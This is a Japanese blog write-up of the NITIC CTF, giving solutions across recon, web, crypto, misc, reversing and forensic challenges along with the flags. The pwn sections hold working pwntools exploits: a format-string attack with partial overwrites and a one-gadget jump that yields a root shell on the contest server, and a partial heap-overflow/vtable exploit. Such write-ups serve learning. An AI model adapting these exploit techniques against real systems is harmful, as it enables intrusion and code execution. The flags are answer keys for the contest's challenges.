1600点で2位。Pwnの1問が解けなかった。
Dangerous Twitter(Recon, 難易度1, 100点)
フレキ君はパスワードの管理がなってないようです。
どうやらフレキ君はあるサイトへのログインパスワードを漏らしてしまったみたい。
フレキ君のTwitterアカウントからそのパスワードを特定しましょう。
フラグはnitic_ctf{特定したパスワード}になります。
https://twitter.com/FPC_COMMUNITY
デスク環境! pic.twitter.com/n51hOzO6re
— フレキシブル基板@課題消化中 (@FPC_COMMUNITY) July 19, 2020
パスワードをメモした紙が映り込んでいる。
nitic_ctf{abaE33F5}
8^2(Web, 難易度1, 100点)
data:image/jpeg;base64,/9j/4AAQSkZJRgABA...
dataスキーマなので、そのままブラウザのURLに貼り付ければ画像が見える。
nitic_ctf{nemu_nemu_panti_shitai}
Villager Z(Pwn, 難易度4, 400点)
書式文字列攻撃。こんなコード。
void vuln()
{
char buf[256];
puts("Hello. What your name?");
read(0, buf, 256);
printf(buf);
}
書式文字列攻撃なので、%123$p
などとしてスタック上にある諸々の値を読み出し、リターンアドレスなどを書き換えれば良い……のだが、問題のプログラムはprintf
の直後に終了してしまう。PIEなので既知のアドレスは無く、リーク無しで1回のprintf
呼び出しで解くのは無理そう。
ということで、まずは1回目の攻撃後にmain
関数に戻すことを考える。これがまず難しい。問題サーバーと同じUbuntu 20.04で問題のプログラムを実行してみると、たまたまスタック上にスタックのリターンアドレスのちょっと上の値が乗っている。そこで、このアドレスの下位ビットをpartial overwriteで書き換えつつ、このアドレスを参照してリターンアドレスをpartial overwriteで書き換えてmain
関数に戻す。ついでに、諸々のアドレスをリークさせる。
"%161c%35$hhn aaa...aaa\x28"
(文字列の長さは0xe9文字)でリターンアドレスのスタック上のアドレスの末尾が0x28ならば、リターンアドレスの末尾を161=0xa1で上書きしてmain
関数に戻せる。main
関数の先頭でないのはmovaps
対策。
あとは、リターンアドレスをOne gadget RCEに書き換えるだけかと思ったら、ここも難しい。libcが2.31で、2.31はOne gadget RCEの条件が厳しい。単に飛ばすだけだとどれもダメなので、pop rsi; pop r15; ret;
に一旦飛ばして、rsi
を0にする。このアドレスは元のリターンアドレスと下位2バイトしか変わらない。rsi
用の値はたまたま0が入っていた。r15
用の値は何でも良い。ということで、One gadget RCEと合わせて10バイトの書き換えなので、バッファサイズ256バイトで間に合う。
from pwn import *
elf = ELF("chall")
context.binary = elf
s = connect("123.216.69.60", 4448)
# s = connect("172.18.90.7", 7777)
payload = "%161c%35$hhn!%40$p!%41$p!%43$p!"
payload += "a"*(0xe8-len(payload))+"\x28"
s.sendafter("name?", payload)
t = s.recvuntil("name?")
t = t.split(b"!")
stack = int(t[1][2:], 16)
code = int(t[2][2:], 16) - 0x12b8
libc = int(t[3][2:], 16) - 0x270b3
print("stack: %x"%stack)
print("code: %x"%code)
print("libc: %x"%libc)
rce = libc + 0xe6ce9
"""
stack-0x08: xxxxxxxxxxxx1321
stack+0x00: 0000000000000000
stack+0x08: xxxxxxxxxxxxxxxx
stack+0x10: rce
"""
payload = b""
c = 0
for i in range(2):
t = (((code+0x1321)>>(8*i)&0xff)-c)%256
if t!=0:
payload += ("%%%dc"%t).encode("utf-8")
payload += ("%%%d$hhn"%(22+i)).encode("utf-8")
c += t
for i in range(8):
t = ((rce>>(8*i)&0xff)-c)%256
if t!=0:
payload += ("%%%dc"%t).encode("utf-8")
payload += ("%%%d$hhn"%(24+i)).encode("utf-8")
c += t
payload += b"a"*(0x80-len(payload))
for i in range(2):
payload += pack(stack-0x08+i)
for i in range(8):
payload += pack(stack+0x10+i)
s.send(payload)
s.interactive()
$ for i in $(seq 20); do python3 attack.py; done
[*] '/mnt/d/documents/ctf/nitic_ctf_1/Villager Z/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 123.216.69.60 on port 4448: Done
Traceback (most recent call last):
File "attack.py", line 13, in <module>
:
raise EOFError
EOFError
[*] '/mnt/d/documents/ctf/nitic_ctf_1/Villager Z/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 123.216.69.60 on port 4448: Done
stack: 7fff74953730
code: 55708cb4f000
libc: 7fc260e5c000
[*] Switching to interactive mode
\x10 \x00 \xb2 \x17 \x9e % h % 2aaaaaaaaaaaaaaaa(7\x95t\xff\x7f$ ls -al
total 60
drwxr-xr-x 1 root root 4096 Jul 19 03:24 .
drwxr-xr-x 1 root root 4096 Jul 19 03:24 ..
-rwxr-xr-x 1 root root 0 Jul 19 03:24 .dockerenv
lrwxrwxrwx 1 root root 7 Jul 3 01:56 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Apr 15 11:09 boot
drwxr-xr-x 5 root root 340 Jul 19 10:36 dev
:
drwxr-xr-x 1 root root 4096 Jul 3 01:57 usr
drwxr-xr-x 1 root root 4096 Jul 3 02:00 var
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat /home/ctf/flag
nitic_ctf{Oh_you_c4n_pr1ntf_everything}
$ exit
フラグ探しにちょっと手間取った。なぜユーザーがrootなのに/home/ctf/にフラグがあるんだ。
nitic_ctf{Oh_you_c4n_pr1ntf_everything}
baby_compress(Pwn, 難易度4, 500点)
解けなかった。
C++のプログラムで脆弱性は色々ある。読み込み時に末尾のNUL文字を付けず、書き出しはcout
にchar *
で渡しているから後の値が読めるとか、Use After Freeとか。このプログラムは圧縮と解凍をするけれど、一度解凍したものを再度解凍できてヒープバッファオーバフローとか。
from pwn import *
elf = ELF("chall")
context.binary = elf
context.log_level = "debug"
# s = connect("123.216.69.60", 4445)
s = connect("172.18.90.7", 7777)
def add(index, data):
s.sendlineafter("> ", "1")
s.sendlineafter("index: ", str(index))
s.sendlineafter("Input content:", data)
def compress(index):
s.sendlineafter("> ", "2")
s.sendlineafter("index: ", str(index))
def decompress(index):
s.sendlineafter("> ", "3")
s.sendlineafter("index: ", str(index))
def clear(index):
s.sendlineafter("> ", "4")
s.sendlineafter("index: ", str(index))
def read(index):
s.sendlineafter("> ", "5")
s.sendlineafter("index: ", str(index))
l = int(s.recvline().split()[1])
s.recvuntil("content: ")
return s.recvline()[:-1]
def exit():
s.sendlineafter("> ", "6")
add(0, "a"*0x410)
add(1, "x")
libc = unpack(read(1).ljust(8, b"\0")) - 0x1ec078
print("libc:", hex(libc))
add(0, "a")
add(1, "a")
clear(0)
clear(1)
add(0, "x")
heap = unpack(read(0).ljust(8, b"\0")) - 0x12778
print("heap:", hex(heap))
data = pack(heap+0x127d8) + pack(libc+0xe6ce3)
data = b"c\x10"*3 + b"".join(data[i:i+1]+b"\x01" for i in range(len(data)))
add(0, "a")
add(0, data)
add(1, "dddd")
compress(0)
decompress(0)
decompress(0)
compress(1)
s.interactive()
これで、libcとheapのアドレスをリークして、解凍の脆弱性を突いてC++の関数テーブルを上書きしてlibc+0xe6ce3
に飛ばせる。でも、One gadget RCEの条件をクリアできなくてダメ。libc 2.31厳しいな……。
他の人の解答。
C++のクラスの関数テーブル使わないのか……。compress
とdecompress
は何のために仮想関数になっているのだろう。
prime_factorization(PPC, 難易度2, 200点)
合成数Cが与えられる。素因数分解してa_0^b_0 * a_1^b_1 * … * a_n^b_nの形にして、nitic_ctf{a_0_b_0_a_1_b_1…a_n_b_n}のがフラグとなる。この時a_iは素数、b_iは1以上の整数、aは昇順に並んでいる。
例えばC=48の時、48=2^4*3^1より、フラグはnitic_ctf{2_4_3_1}である。
問題文に素因数分解する整数が与えられていないからでかい整数かと思ったけど、そんなことはなかった。
$ factor 408410100000
408410100000: 2 2 2 2 2 3 3 3 3 3 5 5 5 5 5 7 7 7 7 7
nitic_ctf{2_5_3_5_5_5_7_5}
shift_only(Crypto, 難易度2, 200点)
from os import environ
flag = environ["FLAG"]
format = environ["FORMAT"]
shift_table = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
def encrypt(text: str, shift: int) -> str:
assert 0 <= shift <= 9
res = ""
for c in text:
res += shift_table[(shift_table.index(c)+shift)%len(shift_table)]
return str(shift) + res
for shift in format:
flag = encrypt(flag, int(shift))
with open("encrypted.flag", "w") as f:
f.write(flag)
このencrypt
は何回繰り返してもlen(shift_table)
通りの値しか出てこないやつだよね。
shift_table = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
encrypted = "6}bceijnob9h9303h6yg896h0g896h0g896h01b40g896hz"
n = len(shift_table)
for i in range(n):
print("".join(shift_table[(shift_table.index(x)+i)%n] for x in encrypted))
>py solve.py
6}bceijnob9h9303h6yg896h0g896h0g896h01b40g896hz
7_cdfjkopc{i{414i7zh9{7i1h9{7i1h9{7i12c51h9{7i0
:
ejmnptuyzmhshb}bse9rghes}rghes}rghes}_mc}rghes{
fknoquvz0nitic_ctf{shift_shift_shift_and_shift}
gloprvw01ojujdadug}tijguatijguatijguaboeatijgu_
:
と思ったけど、問題のコードを良く見たらもっと簡単で、先頭にstr(shift)
が付いていた。
nitic_ctf{shift_shift_shift_and_shift}
cha1n(Misc, 難易度2, 200点)
問題のファイルをパイプで繋ぐとフラグが出てくる。
$ ./c.sh | ./h.sh | ./a.sh | ./1.sh | ./n.sh
nitic_ctf{cha1n_cha1n_cha1n_cha1n_cha1n_5combo}
nitic_ctf{cha1n_cha1n_cha1n_cha1n_cha1n_5combo}
Fortran(Reversing, 難易度2, 200点)
Fortranで書かれた。ELFとEXEがある。手元のWSLではそのまま動いた。デフォルトでFortranの環境がインストールされるのか、何かのついでに入ったのか。
実行すると nitictf{Fortran}
と書かれたfortran.flagというファイルができるが、これを投稿しても不正解。何か手違いがあって、ELFのほうは古かったらしい。
EXEのほうは手元では動かない。ライブラリを探すのが面倒なので、Ghidraに投げた。
nitic_ctf{No_FORTRAN_Yes_Fortran}
anim(Forensic, 難易度2, 200点)
PowerPoint。プレゼンすると背景がうにょーんと動いて、フラグが出てくる。
nitic_ctf{ppppptx}